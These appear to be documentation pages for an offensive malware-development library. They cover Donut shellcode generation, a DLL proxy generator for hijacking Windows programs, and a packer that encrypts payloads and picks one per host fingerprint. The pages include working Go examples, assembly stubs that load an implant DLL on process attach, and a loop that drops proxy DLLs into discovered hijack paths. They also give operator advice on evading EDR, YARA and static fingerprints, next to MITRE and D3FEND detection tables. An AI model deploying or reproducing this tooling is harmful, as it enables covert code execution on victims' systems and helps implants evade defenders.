A .dll on disk needing a specific exportConvertDLLSame as ConvertFile but pins Type=ModuleDLL so you can't forget.
A .dll decrypted in memoryConvertDLLBytesSame combination as ConvertBytes + DLL.
A .NET / scriptConvertFile onlyAuto-detection works for these too; in-memory equivalents not exposed (Donut needs the on-disk form for these formats).

OPSEC & Detection

ArtefactWhere defenders look
Donut loader stub byte signatureYARA / memory scanners — Defender, MDE, CrowdStrike all carry Donut signatures by default
RWX page allocation in targetBehavioural EDR — Donut's mini-loader writes then executes; RWX is the canonical "shellcode" tell
AMSI / WLDP patch ranges in lsass / current processMicrosoft-Windows-Threat-Intelligence ETW provider
.NET assembly load events without a corresponding .exe on diskETW Microsoft-Windows-DotNETRuntime; Defender flags managed runtime hosting from non-managed processes
Sustained LoadLibraryW / GetProcAddress from a freshly-allocated regionEDR API correlation

D3FEND counters:

  • D3-PA — RWX + execute-from-allocation telemetry.
  • D3-FCA — YARA on the loader stub byte pattern.

Hardening for the operator:

  • Encrypt the shellcode with crypto before the injector writes it to RWX — the stub stays detectable but only after the implant has staged.
  • Use inject's sleep-mask + indirect syscall combination so the stub bytes are absent from memory between callbacks.
  • Avoid ArchX84 unless dual-mode is genuinely required — the larger blob carries both x86 + x64 signatures.

MITRE ATT&CK

T-IDNameSub-coverageD3FEND counter
T1055.001Process Injection: Dynamic-link Library Injectionpartial — produces shellcode for downstream injection (consumer side)D3-PA
T1620Reflective Code Loadingfull — Donut loader stub is a textbook reflective loaderD3-FCA, D3-PA

Limitations

  • Detectable stub. Donut's loader carries a known byte pattern; signature-based YARA + memory scans flag it.
  • RWX allocation. The mini PE loader writes and then executes — RWX is the canonical shellcode tell.
  • No built-in obfuscation. Stub bytes are not encrypted by default; pair with crypto + sleep masking.
  • Windows payloads only. Shellcode generation runs cross-platform; the produced shellcode targets Windows.
  • +5–10% size overhead. Donut compresses the input but adds the loader stub; expect modest growth.

Credits

See also

DLL Proxy Generator

← PE techniques · docs/index

MITRE ATT&CK: T1574.001 — DLL Search Order Hijacking · T1574.002 — DLL Side-Loading D3FEND: D3-PFV — Process File Verification Detection level: very-quiet (offline emitter)


TL;DR

You found a DLL-hijack opportunity (a victim program loads X.dll from a path you can write). To exploit it you need a working X.dll that:

  1. Exports everything the victim expects (otherwise it crashes on first call to a missing export).
  2. Forwards those calls to the real X.dll (otherwise the victim breaks).
  3. Optionally runs your payload.

Historically this required hand-coding C++ + linker pragmas + an MSVC toolchain, OR shipping a pre-built proxy and hoping the export set matches. pe/dllproxy makes it a single Go function call — pure-Go emitter, runs on Linux, no toolchain.

Pick the mode based on what you need:

You want…SetEffect
Pure forwarder (testing the hijack works without delivering a payload yet)Options.PayloadDLL = ""Single .rdata section, no DllMain. Once loaded, invisible at runtime — the real target executes as if loaded directly.
Forwarder + payload loadOptions.PayloadDLL = "evil.dll"Adds .text with a 32-byte x64 stub: LoadLibraryA("evil.dll") on DLL_PROCESS_ATTACH. Your payload runs ONCE on load; forwarding handles the rest.

What this DOES achieve:

  • Victim loads your DLL → your payload runs → all subsequent victim calls forward transparently.
  • No toolchain on the build host. Pure Go, cross-compiles from Linux.
  • The forwarder uses \\.\GLOBALROOT\SystemRoot\System32\<target>.<export> — absolute path that doesn't recurse into your proxy even when both DLLs share a directory.

What this does NOT achieve:

  • Doesn't find the hijack opportunity — pair with recon/dllhijack for the discovery side.
  • Doesn't list the target's exports — pair with pe/parse.Open(target).Exports().
  • Detectable on disk — the forwarder string set + 32-byte stub are static signatures defenders can YARA on. Pair with pe/strip + pe/cert to muddy the static fingerprint.

Primer — vocabulary

Five terms recur on this page:

DLL hijack / side-load — a victim program loads a DLL by name from a search path that includes a directory the operator can write to. The operator drops a malicious DLL with the matching name; the victim loads it instead of the legitimate one.

Forwarder export — a DLL export entry whose AddressOfFunctions[i] value points at a STRING (not at code). The string format is "OtherDLL.OtherExport" or "\\path\\to\\OtherDLL.OtherExport". The Windows loader recognises this by checking if the value falls inside the IMAGE_DIRECTORY_ENTRY_EXPORT range — if yes, it's a string to follow, not code to call.

GLOBALROOT trick — using \\.\GLOBALROOT\SystemRoot\System32\X.dll as the forwarder target. GLOBALROOT is the NT object manager root; SystemRoot resolves to C:\Windows. The combination is an absolute path that bypasses the search order entirely — guaranteed to find the real X.dll, never the proxy itself even when both share the victim's directory.

DllMain — a DLL's optional entry point Windows calls on load (DLL_PROCESS_ATTACH), unload (DLL_PROCESS_DETACH), and thread create/exit. pe/dllproxy uses it ONLY in payload-load mode — the entry point is a 32-byte stub that LoadLibraryA(payload) and returns TRUE.

Perfect proxy — the term mrexodia/perfect-dll-proxy coined for proxies that reliably handle every export with the right ABI without recursion. The GLOBALROOT trick is the "perfect" part: forwarders to a relative target.export would loop into your own proxy.

flowchart LR
    A["recon/dllhijack.ScanXxx"] --> B["[]Opportunity"]
    B --> C["pe/parse.Open(target).Exports()"]
    C --> D["[]string export names"]
    D --> E["pe/dllproxy.Generate(target, exports, opts)"]
    E --> F["[]byte proxy DLL"]
    F --> G["os.WriteFile(opp.HijackedPath, …)"]
    G --> H["Victim loads → forwards → real target executes"]

    style E fill:#94a,color:#fff

How It Works

The forwarder-only mode produces a minimal PE32+ image with a single .rdata section. No .text, no .idata, AddressOfEntryPoint = 0 — Windows accepts this layout (a DLL with no entry point loads silently without invoking DllMain, per the PE spec).

The payload-load mode adds a .text section with the DllMain stub, an import directory in .rdata referencing kernel32!LoadLibraryA, and the payload-name string the stub feeds to LoadLibraryA.

File layout

+0x000  DOS header (60 bytes)            e_lfanew = 0x40
+0x040  PE signature "PE\0\0"
+0x044  COFF File Header (20)            Machine = 0x8664, NumberOfSections = 1
+0x058  Optional Header PE32+ (240)      Magic = 0x20B, ImageBase = 0x180000000,
                                          AddressOfEntryPoint = 0,
                                          DllCharacteristics = NX_COMPAT
+0x148  Section Header (40)              ".rdata", flags 0x40000040
+0x170  pad zero to FileAlignment 0x200
+0x200  .rdata content

.rdata content (RVA = 0x1000)

+0       IMAGE_EXPORT_DIRECTORY (40)
+40      AddressOfFunctions[N]            uint32 each — RVA into the same .rdata,
                                           pointing at a forwarder string
+40+4N   AddressOfNames[N]                uint32 — RVA to export name string
+40+8N   AddressOfNameOrdinals[N]         uint16 — identity map (i → i)
+40+10N  DLL name string                  "<targetName>\0"
…        forwarder strings                "\\.\GLOBALROOT\SystemRoot\System32\target.dll.<export>\0"
…        export name strings              "<export>\0"

Forwarder detection

The Windows loader detects a forwarder by RVA range: an export is a forwarder iff its AddressOfFunctions[i] value falls inside the IMAGE_DIRECTORY_ENTRY_EXPORT.VirtualAddress … +Size range. The emitter sizes the data directory to span the entire .rdata content, so every forwarder string sits inside the range automatically.

Sorting

Windows performs a binary search on AddressOfNames when resolving exports by name. The emitter sorts the input list alphabetically before laying out the tables — AddressOfNameOrdinals[i] is always i, the identity map.


API → godoc

pkg.go.dev/github.com/oioio-space/maldev/pe/dllproxy is the authoritative reference for every exported symbol. This page teaches the concepts; the godoc is the specification.

Examples

Simple — bake a proxy for version.dll

import (
    "os"

    "github.com/oioio-space/maldev/pe/dllproxy"
    "github.com/oioio-space/maldev/pe/parse"
)

f, _ := parse.Open(`C:\Windows\System32\version.dll`)
exports, _ := f.Exports()
proxy, _ := dllproxy.Generate("version.dll", exports, dllproxy.Options{})
_ = os.WriteFile(`C:\writable\dir\version.dll`, proxy, 0o644)

ExportsFromBytes — one-shot named-export extraction

func ExportsFromBytes(peBytes []byte) ([]Export, error)

Parses a target DLL's bytes via pe/parse.FromBytesFast and returns its named exports already shaped for GenerateExt / packer.PackProxyDLL. Ordinal-only entries are skipped (the forwarder emitter currently only builds <target>.<name> strings). Empty result is non-fatal — the caller decides.

dll, _ := os.ReadFile(`C:\Vulnerable\fakelib.dll`)
exports, err := dllproxy.ExportsFromBytes(dll)
if err != nil {
    log.Fatal(err)
}
proxy, _ := dllproxy.GenerateExt("fakelib", exports, dllproxy.Options{})

End-to-end consumer: examples/privesc-dll-hijack (Mode 10 re-reads fakelib.dll from the target post-drop so an operator could swap it for any DLL between runs).

Composed — find an opportunity and bake a matching payload

opps, _ := dllhijack.ScanAll(nil)
for _, opp := range opps {
    f, err := parse.Open(opp.LegitimatePath)
    if err != nil { continue }
    exports, _ := f.Exports()
    f.Close()

    proxy, err := dllproxy.Generate(opp.MissingDLL, exports, dllproxy.Options{})
    if err != nil { continue }

    _ = os.WriteFile(opp.HijackedPath, proxy, 0o644)
}

32-bit targets (MachineI386)

Setting Options.Machine = dllproxy.MachineI386 switches the emitter to PE32 output for hijacking legacy WOW64 victims. The forwarder-only path produces a 224-byte optional header (vs 240 for PE32+), IMAGE_FILE_32BIT_MACHINE in the COFF flags, ImageBase 0x10000000, and a 32-bit BaseOfData.

The Phase 2 payload-load path swaps the AMD64 stub for a 28-byte x86 stdcall stub:

mov eax, [esp+8]              ; reason
cmp eax, 1                    ; DLL_PROCESS_ATTACH
jne ret_true
push <payload_str_abs>
call dword ptr [<iat_abs>]
ret_true:
mov eax, 1
ret 0Ch                       ; stdcall: pop 3*4 bytes of args

x86 has no RIP-relative addressing, so the stub embeds absolute virtual addresses (ImageBase + RVA). The emitter keeps IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE off, so the loader honours the embedded ImageBase and the absolutes resolve correctly.

out, err := dllproxy.Generate("version.dll", exports, dllproxy.Options{
    Machine:    dllproxy.MachineI386,
    PayloadDLL: "implant32.dll",
})

Mixed named + ordinal-only exports

Some Windows DLLs (msvcrt, ws2_32, comctl32 in legacy comdlg roles) ship a substantial fraction of exports as ordinal-only — they appear in IMAGE_EXPORT_DIRECTORY.AddressOfFunctions but have no entry in AddressOfNames. Proxying these targets requires the loader to find the right slot when a victim imports target.dll!#42 instead of target.dll!Foo.

import (
    "github.com/oioio-space/maldev/pe/dllproxy"
    "github.com/oioio-space/maldev/pe/parse"
)

f, _ := parse.Open(`C:\Windows\System32\msvcrt.dll`)
entries, _ := f.ExportEntries() // []parse.Export with Name+Ordinal+Forwarder

mapped := make([]dllproxy.Export, len(entries))
for i, e := range entries {
    mapped[i] = dllproxy.Export{Name: e.Name, Ordinal: e.Ordinal}
}

proxy, _ := dllproxy.GenerateExt("msvcrt.dll", mapped, dllproxy.Options{})

The emitter:

  • Sorts entries by ordinal ascending.
  • Sets Base = lowest_ordinal, NumberOfFunctions = highest_ordinal − Base + 1. Sparse slots (ordinals not present in input) leave their AddressOfFunctions entry zero — the loader treats those as "not exported at this ordinal", same as a real DLL.
  • Emits forwarder strings in the form <target>.<name> for named entries and <target>.#<ordinal> for ordinal-only.
  • Builds AddressOfNames from the named subset only, sorted alphabetically (loader binary search).

Advanced — DllMain payload load

proxy, err := dllproxy.Generate(
    target,
    exports,
    dllproxy.Options{PayloadDLL: "implant.dll"},
)

The proxy now contains a tiny x64 entry point that runs once on DLL_PROCESS_ATTACH:

cmp edx, 1                       ; fdwReason == DLL_PROCESS_ATTACH ?
jne ret_true
sub rsp, 28h                     ; Win64 shadow space + 16-byte align
lea rcx, [rip+payload_string]    ; LPCSTR lpLibFileName
call qword ptr [rip+iat_loadlibrarya]
add rsp, 28h
ret_true:
mov eax, 1
ret

The Windows loader resolves the IAT slot for kernel32!LoadLibraryA before our entry point runs, so the indirect call lands directly in kernel32. Failure of LoadLibraryA is silent — the proxy still returns TRUE, the legitimate forwarders still work, the only signal is the absence of the payload.

Advanced — alternate path scheme

PathSchemeSystem32 produces shorter, more readable forwarder strings but recurses into self if deployed in System32. Safe only for hijack opportunities outside System32 (almost all real ones).

proxy, err := dllproxy.Generate(
    "credui.dll",
    exports,
    dllproxy.Options{PathScheme: dllproxy.PathSchemeSystem32},
)

Advanced — MSVC-shaped output (DOS stub + CheckSum)

For deployments where defenders fingerprint on the absence of a real DOS stub or a zero-valued optional-header CheckSum, both flags can be flipped:

proxy, _ := dllproxy.Generate("version.dll", exports, dllproxy.Options{
    DOSStub:       true, // canonical "This program cannot be run in DOS mode."
    PatchCheckSum: true, // ImageHlp!CheckSumMappedFile-equivalent
})

DOSStub bumps e_lfanew from 0x40 to 0x80 and embeds the canonical 128-byte MSVC DOS block. PatchCheckSum reuses pe/cert.PatchPECheckSum after assembly so the field is non-zero and self-consistent.


OPSEC & Detection

PhaseTelemetryCounter
Emission (offline)None — pure Go, no syscalls, no file opens.N/A
File write to opportunity pathFile create event under <writable dir>\<dllname> matches D3-PFV signatures (DLL appearing in non-canonical path next to a PE that imports it).Drop into a path the EDR doesn't actively watch; randomise drop time.
Process load\\.\GLOBALROOT\SystemRoot\System32\… paths in image-load events stand out — most legitimate DLLs are loaded by short module name only.Use PathSchemeSystem32 when System32 redirection is not a concern.
Forwarder strings on diskYARA / static-analysis tools matching the GLOBALROOT prefix.Hex-rotate / RC4 the strings at emission time, decrypt at DllMain (Phase 2 + obfuscation, future work).

MITRE ATT&CK

T-IDNameD3FEND counter
T1574.001Hijack Execution Flow: DLL Search Order HijackingD3-PFV
T1574.002Hijack Execution Flow: DLL Side-LoadingD3-PFV

Limitations

  • COM-private semantics. The MSVC ,PRIVATE linker directive only excludes a symbol from the import library so downstream .lib-based linkers ignore it; at runtime the export is binary-identical to a regular named export. pe/dllproxy does not need a separate code path — pass DllRegisterServer & friends as ordinary Export{Name: …} entries.
  • CheckSum + DOS stub are now opt-in. Options.PatchCheckSum recomputes IMAGE_OPTIONAL_HEADER.CheckSum (via pe/cert.PatchPECheckSum); Options.DOSStub emits the canonical 128-byte MSVC DOS block. Both default to false (preserves the historic minimal-MZ + zero-CheckSum output for callers that don't care).
  • Forwarder paths are plaintext in .rdata — easy YARA target. String obfuscation is a Phase 2 candidate.

See also

  • recon/dllhijack — discovery side of the same chain
  • pe/parse — extracts the input export list
  • mrexodia/perfect-dll-proxy — original GLOBALROOT path trick (C++/Python)
  • namazso/dll-proxy-generator — Rust binary tool we're matching the output shape of

PE Packer

← pe index · docs/index

A pure-Go packer for PE/ELF binaries and shellcode. Produces a self-contained executable that decrypts itself at startup and runs the payload — no separate loader, no second stage, no operator-side unpacking step. Single-target packing (one payload, in-place encryption) and multi-target bundling (N payloads, runtime CPUID dispatch) are both first-class.

New here? Skim the Glossary at the bottom of the page — every jargon term used in the rest of this doc is defined there in plain language. Notably SGN, PIC trampoline, RWX, PE32+ / ELF, Static-PIE, PT_LOAD, OEP, TLS callbacks, Imports / IAT, CPUID, PEB, auxv, rep movsb, Brian Raiter shape, Round (in the SGN sense), Payload, yara — most one-liner definitions, all conceptual not API. If a paragraph below stops making sense, the term is probably in the glossary.

MITRE ATT&CK: T1027.002 — Software Packing · T1140 — Deobfuscate/Decode Files or Information

Detection level: Medium-High. Stub bytes are polymorphic per pack; magic bytes are operator-secret-derived per build. The structural shape of the produced binary (single-PT_LOAD-RWX ELF for the all-asm path; appended .mldv section for PackBinary) remains yara-able regardless.


TL;DR

You want…UseOutput size (typical)
Pack a single PE/ELF that runs nativelypacker.PackBinaryInput + ~1-8 KiB stub
Wrap raw shellcode into a runnable .exe / .elf (with or without encryption)packer.PackShellcode~400 B plain / ~8 KiB encrypted
Pack a payload that fingerprints the host first (multi-target)packer.PackBinaryBundle + the cmd/bundle-launcher runtime~5 MB (Go runtime)
Same, but tiny single-file all-asmpacker.PackBinaryBundle + packer.WrapBundleAsExecutableLinux / …Windows~470 B Linux · ~740 B Windows
Same, with stronger per-payload encryption (AES-128-CTR via AES-NI, Windows)as above + BundlePayload{CipherType: CipherTypeAESCTR}+~280 B stub + 176 B round keys per AES-CTR entry
Reproducible packs across machines (deterministic ciphertext)BundlePayload{Key: <16 B>} (operator-supplied key)Same as the matching cipher
Encrypt arbitrary bytes into a blob (no exec)packer.Pack / packer.UnpackInput + 32 B header + AES-GCM tag
Compose multiple ciphers + permutationspacker.PackPipelineSame
Inspect / extract a maldev artefact (defender)cmd/packerscopen/a
Visualise entropy + bundle structurecmd/packer-visn/a

Mental model

Three pipelines, orthogonal:

┌─────────────────────────────────────────────────────────────┐
│  Single-target pipeline (Go binary input)                    │
│                                                              │
│   payload.exe ──[PackBinary]──► packed.exe                   │
│   (real PE/ELF)                  │                           │
│                                  └─ kernel loads → SGN stub  │
│                                     decrypts .text in place  │
│                                     → JMP original entry     │
└─────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────┐
│  Shellcode pipeline (raw bytes input)                        │
│                                                              │
│   sc.bin ──[PackShellcode]──► out.exe / out.elf              │
│   (raw, position-       │                                    │
│    independent)         ├─ plain wrap → minimal host PE/ELF  │
│                         │  shellcode at e_entry              │
│                         │                                    │
│                         └─ encrypted wrap → minimal host →   │
│                            PackBinary → SGN stub envelope    │
└─────────────────────────────────────────────────────────────┘

┌─────────────────────────────────────────────────────────────┐
│  Multi-target pipeline                                       │
│                                                              │
│   payload-A ──┐                                              │
│   payload-B ──┼─[PackBinaryBundle]──► bundle blob            │
│   payload-C ──┘                       │                      │
│              + FingerprintPredicate   │                      │
│              for each                 ▼                      │
│                                  ┌─[Wrap…]──► single .exe    │
│                                  │             (Go launcher  │
│                                  │              or all-asm)  │
│                                  ▼                           │
│                          runtime: read CPUID + Win build,    │
│                          match predicates, decrypt the ONE   │
│                          matching payload, dispatch.         │
└─────────────────────────────────────────────────────────────┘

Both pipelines are pure Go, no cgo. Both produce a runnable executable on disk that the kernel loads normally — there is no operator-side "unpack first then run" step.


Quick start

Single-target

You have a real PE or ELF binary; you want a packed version that runs directly:

package main

import (
    "log"
    "os"

    "github.com/oioio-space/maldev/pe/packer"
)

func main() {
    payload, err := os.ReadFile("payload.exe")
    if err != nil { log.Fatal(err) }

    packed, _, err := packer.PackBinary(payload, packer.PackBinaryOptions{
        Format:       packer.FormatWindowsExe,
        Stage1Rounds: 3,        // SGN polymorphic decoder rounds
        Compress:     true,     // LZ4 .text before SGN
        AntiDebug:    true,     // PEB.BeingDebugged + RDTSC delta probe
    })
    if err != nil { log.Fatal(err) }

    if err := os.WriteFile("packed.exe", packed, 0o755); err != nil {
        log.Fatal(err)
    }
}

CLI equivalent:

$ packer pack -in payload.exe -out packed.exe -format windows-exe \
    -rounds 3 -compress -antidebug

The packed binary runs directly: ./packed.exe. The kernel maps it, the appended stub takes over at the new entry point, peels the SGN encoding off the .text section in place, optionally LZ4-decompresses, then jumps to the original entry point. The payload sees a normal process — its imports are resolved by the kernel (not by us), its TLS callbacks fire, its language runtime initialises, etc.

Multi-target — operator workflow

You have three distinct payloads, each tuned for a different target environment, and you want a single shippable file that picks the right one at runtime:

# Pick a fresh per-deployment secret. Store it; you'll need it for
# the launcher build.
SECRET="ops-2026-05-09-target-A"

# Build per-target payloads. These can be packer.PackBinary outputs
# (single-target packed binaries), regular ELF/PE binaries, or raw
# shellcode — depends on the runtime model you pick below.
$ build-payload-w11.sh
$ build-payload-w10.sh
$ build-fallback.sh

# Pack the bundle. -secret derives a per-build BundleMagic + footer
# magic via HKDF-SHA256 (RFC 5869, v0.83.0+) so two operators using
# different secrets ship byte-distinct bundles. Each derived field
# uses its own purpose-bound HKDF label, so flipping bits in one
# field gives an attacker no algebraic handle on the others.
$ packer bundle -out bundle.bin -secret "$SECRET" \
    -pl payload-w11.exe:intel:22000-99999 \
    -pl payload-w10.exe:amd:10000-19999   \
    -pl fallback.exe:*:*-*

# Two ways to turn the bundle into a runnable executable. Pick one:

# OPTION A — Go-runtime launcher (~5 MB, full feature set)
$ go build -ldflags "-X main.bundleSecret=$SECRET" \
    -o bundle-launcher ./cmd/bundle-launcher
$ packer bundle -wrap bundle-launcher -bundle bundle.bin \
    -secret "$SECRET" -out app

# OPTION B — All-asm tiny ELF (~470 B for vendor-aware 1-payload)
# Requires: payload bytes are raw position-independent shellcode,
# NOT a packed PE/ELF. The stub jumps directly into the bytes.
$ # programmatic only:
$ go run path/to/your-build-program.go    # uses
                                          # WrapBundleAsExecutableLinux

# Ship app. It dispatches at runtime.
$ ./app

Programmatic equivalent:

intel := [12]byte{'G','e','n','u','i','n','e','I','n','t','e','l'}
amd   := [12]byte{'A','u','t','h','e','n','t','i','c','A','M','D'}

profile := packer.DeriveBundleProfile([]byte("ops-2026-05-09-target-A"))

bundle, err := packer.PackBinaryBundle(
    []packer.BundlePayload{
        {Binary: w11Payload, Fingerprint: packer.FingerprintPredicate{
            PredicateType: packer.PTCPUIDVendor | packer.PTWinBuild,
            VendorString:  intel,
            BuildMin:      22000, BuildMax: 99999,
        }},
        {Binary: w10Payload, Fingerprint: packer.FingerprintPredicate{
            PredicateType: packer.PTCPUIDVendor | packer.PTWinBuild,
            VendorString:  amd,
            BuildMin:      10000, BuildMax: 19999,
        }},
        {Binary: fallbackPayload, Fingerprint: packer.FingerprintPredicate{
            PredicateType: packer.PTMatchAll,
        }},
    },
    packer.BundleOptions{Profile: profile},
)

Operation modes

Mode 1 — Pack / Unpack (blob, no exec)

The simplest layer. Encrypts arbitrary bytes into a self-describing maldev-format blob. The blob is data, not an executable. Use this when the operator's chain reads the blob and passes the plaintext into another step (an injector, a custom loader, a separate decryption pipeline, etc.).

blob, key, err := packer.Pack(payload, packer.Options{})
recovered, err := packer.Unpack(blob, key)
PropertyValue
OutputMLDV… blob, ~payload size + 32 B header + AEAD tag
EncryptionAES-GCM (default). ChaCha20 / RC4 reserved.
Runs by itself?No — it's a blob, not an exe
Key handlingReturned to caller; ship via separate channel

Avantages: smallest output. Works on any byte stream — PE, ELF, shellcode, JSON config, anything. Good as a building block inside a larger chain.

Inconvénients: the operator (or their loader code) needs the key. The blob has a MLDV magic at offset 0 — trivially yara-able. Use PackBinary or wrap the blob in a host PE if you need to ship the blob standalone.

Mode 2 — PackPipeline / UnpackPipeline (composed blob)

Stack multiple ciphers / compressors / permutations. Each stage is keyed independently; the operator gets back a PipelineKeys slice of per-step key material they need to transport alongside the blob to recover the payload.

pipeline := []packer.PipelineStep{
    {Op: packer.OpCompress, Algo: uint8(packer.CompressorFlate)},
    {Op: packer.OpCipher,   Algo: uint8(packer.CipherAESGCM)},
}
blob, keys, err := packer.PackPipeline(payload, pipeline)
recovered, err := packer.UnpackPipeline(blob, keys)

Same shape as Pack; just stronger obfuscation when the operator has somewhere to store multiple keys.

Mode 3 — PackBinary (single-target, runs directly)

This is what most operators actually want when they have ONE payload. Modifies the input PE/ELF in place: encrypts the .text section with an SGN polymorphic encoder, appends a small CALL+POP+ADD decoder stub as a new section, rewrites the entry point. Output is a single self-contained binary the kernel loads normally. Imports are resolved by the kernel — the loader is the OS, not us. No second stage. No operator-side unpack.

packed, _, err := packer.PackBinary(input, packer.PackBinaryOptions{
    Format:       packer.FormatWindowsExe,  // or FormatLinuxELF
    Stage1Rounds: 3,
    Seed:         0,                        // 0 = crypto-random per pack
    Compress:     true,
    AntiDebug:    true,

    // Phase 2 PE-only fingerprint defeats — all opt-in, all
    // default false (preserves byte-reproducible packs).
    RandomizeAll: true,
    // Or pick selectively:
    //   RandomizeStubSectionName       — `.mldv` → `.xxxxx`     (Phase 2-A)
    //   RandomizeTimestamp             — COFF TimeDateStamp     (Phase 2-B)
    //   RandomizeLinkerVersion         — Optional Header        (Phase 2-C)
    //   RandomizeImageVersion          — Optional Header        (Phase 2-D)
    //   RandomizeExistingSectionNames  — `.text/.data/.rdata`   (Phase 2-F-1)
    //                                    → random `.xxxxx` per section,
    //                                    appended stub name preserved.
    //   RandomizeJunkSections          — append [1, 5] BSS sections (Phase 2-F-2)
    //                                    after the stub. File size unchanged
    //                                    (uninitialised, zero file backing);
    //                                    only NumberOfSections + SizeOfImage
    //                                    grow. Defeats "exact section count"
    //                                    + "stub is the last header" patterns.
    //   RandomizePEFileOrder           — permute the FILE order of host
    //                                    section bodies (Phase 2-F-3-b). VAs,
    //                                    relocs, DataDirectory, OEP all
    //                                    unchanged — runtime image byte-
    //                                    identical. Defeats YARA rules
    //                                    anchored at file offsets ("file
    //                                    0x400 = decryption key bytes").
    //                                    COFF.PointerToSymbolTable is updated
    //                                    when the carrier section moves.
})
PropertyValue
OutputReal PE32+ / ELF64 — ./packed.exe runs
EncryptionSGN polymorphic encoder (per-round register-randomised)
CompressionLZ4 (optional, -compress flag)
Anti-debugOptional PEB + RDTSC probe (Windows only)
Runs by itself?Yes
Process treeOne binary (the kernel does the load)
Stub size~1 KB without -compress, ~8 KB with

Avantages:

  • Drop-in replacement: takes a real binary in, produces a real binary out, runs natively.
  • Stub is polymorphic per pack (different bytes for each call).
  • No Go runtime, no separate loader file, no operator-side decrypt step.
  • Works for both Windows PE and Linux static-PIE ELF.

Inconvénients:

  • The .text section is now RWX (the stub mutates it during decrypt). Loud signal for any EDR worth its salt.
  • Imports/exports/resources of the input binary are visible in the packed output (only .text is encrypted). For full IAT scrambling you'd compose with pe/morph upstream.
  • TLS callbacks are not supported (would run before our stub got a chance to decrypt) — surfaced as transform.ErrTLSCallbacks.

CLI

$ packer pack -in input.exe -out packed.exe -format windows-exe \
    -rounds 3 -compress -antidebug

Mode 4 — PackBinaryBundle + Go-runtime launcher

You have N payloads, each meant for a different target environment. Ship them all in one binary; let the runtime pick.

bundle, err := packer.PackBinaryBundle(payloads, packer.BundleOptions{
    FallbackBehaviour: packer.BundleFallbackExit,
    Profile:           packer.DeriveBundleProfile([]byte(secret)),
})

// Concatenate the bundle onto a pre-built launcher binary.
launcher, _ := os.ReadFile("bundle-launcher")
wrapped := packer.AppendBundleWith(launcher, bundle, profile)
os.WriteFile("app", wrapped, 0o755)

The launcher reads its own binary at startup, locates the embedded bundle via a trailing 16-byte footer (bundleStartOffset:8 + FooterMagic:8), reads the host's CPUID vendor and Windows build number, walks the FingerprintEntry table for a match, decrypts the matched payload, and dispatches.

Two dispatch paths exposed via MALDEV_REFLECTIVE env var:

PathMechanismProcess treeDisk artefact
Defaultmemfd_create + execve (Linux) / temp file + CreateProcess (Windows)2 binariesLinux: none; Windows: TMP/*
MALDEV_REFLECTIVE=1In-process load via pe/packer/runtime.Prepare1 binarynone (anonymous mappings)
PropertyDefaultReflective
Total size~5 MB~5 MB
StubGo runtimeGo + asm trampoline
Predicate evaluatorfull (CPUID + Win build + Negate flag)full
Payload formatPE/ELF (gets exec'd)static-PIE ELF (gets mapped in-process)

Avantages:

  • Full FingerprintPredicate evaluator including PT_WIN_BUILD ranges and the Negate flag.
  • Three fallback modes (Exit / First / Crash) for no-match.
  • Reflective path has zero on-disk plaintext for the matched payload.

Inconvénients:

  • Total size is dominated by the Go runtime (~5 MB minimum). Pay this once; subsequent packs of the same launcher reuse the size.
  • Reflective load expects the payload to be a kernel-loadable static-PIE ELF — not raw shellcode (use Mode 5 for that).

BundlePayload + FingerprintPredicate — full guide

Both Modes 4 and 5 take a []packer.BundlePayload as input. Each entry pairs a payload with the rule that decides whether THAT payload should fire on the current host. New operators commonly find this two-level structure confusing — this section walks through the why, the what, and every legal value.

Why a bundle exists (operational need)

You have a payload tuned for Windows 11 Intel and another for Windows 10 AMD. Without a bundle you would either:

  • ship two separate binaries and choose the right one out-of-band (impossible without prior recon), or
  • ship the wrong one and crash / trip the EDR.

A bundle is one file carrying N payloads + per-host dispatch logic. The wrapped binary boots, reads its own CPUID + Windows build, picks the matching payload, decrypts only that one, JMPs. The non-selected payloads stay encrypted on disk — analysts dumping the bundle without the per-payload XOR keys see noise at every non-active offset.

Mental shape: multi-stage rocket with a runtime selector. You pre-load several stages; the binary picks one to ignite based on where it landed.

BundlePayload — what it carries
type BundlePayload struct {
    Binary      []byte               // executable bytes (PE / ELF / shellcode, mode-dependent)
    Fingerprint FingerprintPredicate // "what the host must look like for THIS payload to match"
    CipherType  uint8                // 0/1 = XOR-rolling (default), 2 = AES-128-CTR (v0.92+)
    Key         []byte               // operator-supplied 16-byte key, nil = pack-time random (v0.92+)
}

Just a pair (payload, firing rule) plus two optional v0.92 per-payload knobs:

  • CipherType picks the encrypt-then-decrypt algorithm for THIS payload. Zero or 1 = the original XOR-rolling cipher (~6-instruction stub-side decrypt loop, every host). 2 = AES-128-CTR via AES-NI (Mode 5 all-asm V2NW stub decrypts at runtime; AES-NI feature bit auto-injected into the entry's PT_CPUID_FEATURES predicate so pre-AES-NI hosts skip cleanly). Mix freely within one bundle — each PayloadEntry carries its own type byte.
  • Key is the operator-supplied 16-byte encryption key. Leave nil and pack-time generates a fresh crypto-random one (the default — preserves per-payload secrecy). Non-nil 16 bytes is used verbatim — enables reproducible packs across machines and HKDF-from-deployment-secret workflows. Any other length returns the ErrBundleBadKeyLen sentinel.

Assemble N of them, hand to PackBinaryBundle.

FingerprintPredicate — the matching rule
type FingerprintPredicate struct {
    PredicateType     uint8     // bitmask: which checks to enable
    VendorString      [12]byte  // expected CPUID EAX=0 vendor bytes
    BuildMin, BuildMax uint32   // Windows build-number range
    CPUIDFeatureMask  uint32    // mask over CPUID[1].ECX
    CPUIDFeatureValue uint32    // expected value under the mask
    Negate            bool      // invert the overall match outcome
}
PredicateType — the bitmask of active checks
ConstantValueActivates
PTCPUIDVendor1 << 0VendorString against CPUID EAX=0 (12 bytes)
PTWinBuild1 << 1OSBuildNumber against [BuildMin, BuildMax]
PTCPUIDFeatures1 << 2(CPUID[1].ECX & Mask) == Value
PTMatchAll1 << 3wildcard — matches any host

Combination rules:

  • Within ONE predicate: all enabled bits are ANDed. Every active check must pass.
  • Across predicates: the first matching entry wins. Order matters — put specific entries first, wildcards last.
VendorString — the three real values

Three exported [12]byte constants cover every consumer x86_64 CPU shipped today:

packer.VendorIntel  // "GenuineIntel"
packer.VendorAMD    // "AuthenticAMD"
packer.VendorHygon  // "HygonGenuine" — Chinese AMD-compatible CPUs

Read only when PTCPUIDVendor is set in PredicateType. Zero/empty value means "wildcard vendor" (any).

BuildMin / BuildMax — Windows build cheat sheet

The number returned by RtlGetVersion().BuildNumber (== PEB OSBuildNumber). Useful reference values:

BuildOS
7600Windows 7
9200Windows 8
10240Windows 10 1507
